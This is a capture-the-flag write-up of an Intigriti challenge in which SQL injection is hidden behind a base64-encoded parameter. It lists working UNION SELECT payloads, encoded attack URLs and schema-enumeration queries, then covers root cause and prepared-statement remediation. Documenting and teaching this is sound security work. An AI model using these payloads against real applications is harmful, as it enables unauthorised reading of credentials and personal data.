Intigriti September 2026 Challenge, Critter Gallery
A blank 200 error page, a one-column UNION, and a base64 parameter that hid it all.

Vulnerability: Unauthenticated SQL injection (MySQL 8.0.46) in the base64-encoded pic parameter of /challenge.php, exploited with a single-column UNION SELECT to read the secret_vault table.
TL;DR
/challenge.php?pic= is base64. The application decodes it and interpolates the result directly into the SQL query that looks up a critter's description. Base64 is a transport encoding, not a validator, it carries a single quote perfectly well, and it conveniently hides the payload from anything inspecting the raw URL. Because the result set is rendered back into the page, the injection is fully in-band: one crafted link reads any table the database user can reach.
Final payload
panda' union select note from secret_vault #
Final URL
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIHVuaW9uIHNlbGVjdCBub3RlIGZyb20gc2VjcmV0X3ZhdWx0ICM%3D
1. Recon, reading the URL
Clicking any critter in the gallery navigates to a URL with an opaque parameter:
/challenge.php?pic=cGFuZGE=
The trailing = and the character set are an immediate base64 tell:
cGFuZGE= -> panda
So pic is just the critter's name, base64-encoded. That is a transport encoding, not a security control, whatever I put in there reaches the backend verbatim after decoding.
At that point there were two candidate bug classes for a user-controlled string that gets echoed back into a page: XSS and SQL injection. I went after SQL injection first, because if it lands it is the higher-impact of the two.
2. Discovery, the error oracle is a blank page
The classic first probe, base64-encoded as always:
panda'
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEn
The response is HTTP 200 with a zero-byte body.
This is the single most important observation in the whole challenge, and it is worth being precise about why. An output-encoding routine such as htmlspecialchars() would have returned ' and rendered the page normally, escaping never blanks a response. A completely empty body behind a 200 is the signature of a PHP fatal error with display_errors off: the script died before it emitted any HTML. A stray quote that kills the script means the quote is being parsed by something, and the only parser downstream of a name lookup is the database.
So the blank page becomes my error oracle:
page renders = valid SQL
blank response = SQL syntax error
3. Confirmation, an ORDER BY differential
A single broken payload is not proof; it could be any server-side exception. The way to turn a suspicion into a confirmation is a differential test, where a payload that is syntactically valid behaves differently from one that is semantically invalid:
| Payload | Response | Meaning | |
|---|---|---|---|
| Baseline | panda |
200, renders | normal lookup |
| Test 1 | panda' order by 1 # |
200, renders | valid SQL — injection point closes cleanly |
| Test 2 | panda' order by 100000 # |
200, 0 bytes | invalid SQL — no such column ordinal |
Test 1: https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIG9yZGVyIGJ5IDEgIw%3D%3D
The confirmation condition is:
Baseline == Test 1 (my quote and comment were absorbed by the query)
Test 1 != Test 2 (the database is evaluating the ORDER BY ordinal)
Both hold, so SQL injection is confirmed. This also proves the # comment successfully swallows the query's trailing quote, so the injection point is clean.
The same probe doubles as the column count for the UNION:
| Payload | Response |
|---|---|
panda' order by 1 # |
renders |
panda' order by 2 # |
blank |
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIG9yZGVyIGJ5IDIgIw%3D%3D
The query selects exactly one column, so the UNION SELECT must project one column too.
4. Exploitation, in-band UNION SELECT
panda' union select user() #
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIHVuaW9uIHNlbGVjdCB1c2VyKCkgIw%3D%3D
Rendered output:
Giant pandas spend most of the day munching bamboo.
gallery@10.18.49.50
Two things are confirmed at once. The UNION executes — and because I kept the valid panda prefix rather than using a non-existent critter, the page reveals that it renders every row the query returns, each followed by a <br>. The template is a loop over the result set, not a single-row fetch. That makes exfiltration comfortable: the legitimate panda row stays on top and the injected row appears directly beneath it.
Fingerprinting the backend:
panda' union select version() # -> 8.0.46
panda' union select user() # -> gallery@10.18.49.50
Schemas
panda' union select group_concat(schema_name) from information_schema.schemata #
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQoc2NoZW1hX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnNjaGVtYXRhICM%3D
information_schema,performance_schema,critter_gallery
Tables in critter_gallery
panda' union select group_concat(table_name) from information_schema.tables where table_schema=database() #
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT1kYXRhYmFzZSgpICM%3D
animals,secret_vault
secret_vault is the obvious target.
Columns of secret_vault
panda' union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='secret_vault' #
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIHVuaW9uIHNlbGVjdCBncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfc2NoZW1hPWRhdGFiYXNlKCkgYW5kIHRhYmxlX25hbWU9J3NlY3JldF92YXVsdCcgIw%3D%3D
id,note
The flag
panda' union select note from secret_vault #
https://challenge-0926.challenges.intigriti.io/challenge.php?pic=cGFuZGEnIHVuaW9uIHNlbGVjdCBub3RlIGZyb20gc2VjcmV0X3ZhdWx0ICM%3D
Giant pandas spend most of the day munching bamboo.
INTIGRITI{00000000-0000-0000-0000-000000000000}
5. All payloads used
Every payload is base64-encoded and supplied as ?pic=.
| # | Payload | Purpose | Result |
|---|---|---|---|
| 1 | panda |
baseline | panda description |
| 2 | panda' |
error oracle | blank 200, injection suspected |
| 3 | panda' order by 1 # |
validity differential | renders |
| 4 | panda' order by 2 # |
column count | blank -> exactly 1 column |
| 5 | panda' order by 100000 # |
invalid-ordinal control | blank |
| 6 | panda' union select version() # |
fingerprint | 8.0.46 |
| 7 | panda' union select user() # |
fingerprint | gallery@10.18.49.50 |
| 8 | panda' union select group_concat(schema_name) from information_schema.schemata # |
schemas | information_schema,performance_schema,critter_gallery |
| 9 | panda' union select group_concat(table_name) from information_schema.tables where table_schema=database() # |
tables | animals,secret_vault |
| 10 | panda' union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='secret_vault' # |
columns | id,note |
| 11 | panda' union select note from secret_vault # |
flag | INTIGRITI{...} |
6. Root cause
?pic=cGFuZGEn
|
+--> base64_decode() <- decoding is not validation
|
+--> "SELECT description FROM animals WHERE name = '$name'"
| ^ unparameterised interpolation
+--> MySQL parses the injected quote as SQL
|
+--> foreach (rows as $r) echo htmlspecialchars($r) . '<br>';
The defect is a single unparameterised query. Two design choices made it more exploitable than it needed to be:
Base64 was treated as a sanitiser. It is not one, and worse, it actively conceals the payload from any WAF, log review, or input filter that inspects the raw query string.
The result set is echoed back to the client. That turns what could have been a blind injection into a fully in-band one, removing any need for boolean- or time-based inference.
7. Impact
A single unauthenticated link, requiring no user interaction and no session, reads arbitrary data from the application database. In this challenge that is the flag; in a production application it would be the contents of every table the database user can reach; credentials, tokens, personal data.
Scope of access observed, stated precisely:
Readable:
critter_gallery,information_schema,performance_schema.Not available: stacked queries are rejected (single-statement API);
load_file()returns empty (noFILEprivilege /secure_file_priv);mysql.useris not readable.
The gallery account is correctly confined to its own schema. That least-privilege hygiene is what caps this at read-only disclosure rather than file read or code execution, worth crediting, because it is the control that limited the blast radius.
8. Remediation
Use a prepared statement with a bound parameter. That is the whole fix:
$stmt = $pdo->prepare('SELECT description FROM animals WHERE name = ?');
$stmt->execute([$name]);
Defence in depth:
Validate the decoded value, not the encoded one. The set of critters is a short, closed allowlist, reject anything outside it before the value reaches the database.
Do not use base64 as a security boundary. If the parameter is meant to be opaque, use an integer ID or a signed token; base64 only obscures the payload from defenders.
Keep
display_errorsoff in production (already the case), but make the fatal-error path return a proper error page rather than an empty 200, an empty body is itself an oracle.
9. Steps to solve (summary)
Clicked a critter, recognised
?pic=cGFuZGE=as base64 ->panda.Considered XSS and SQLi; pursued SQLi first for the higher impact.
panda'returned a blank 200, a PHP fatal, not an encoding artefact. Error oracle found.Confirmed with an
ORDER BYdifferential:order by 1renders,order by 100000blanks.Narrowed the column count to 1 (
order by 2already blanks).UNION SELECTbehind the validpandaprefix, the page renders every row, so exfiltration is in-band.Fingerprinted MySQL 8.0.46, running as
gallery@10.18.49.50.Enumerated
information_schema->critter_gallery->animals, secret_vault->id, note.Read
notefromsecret_vault.
Flag: INTIGRITI{00000000-0000-0000-0000-000000000000}



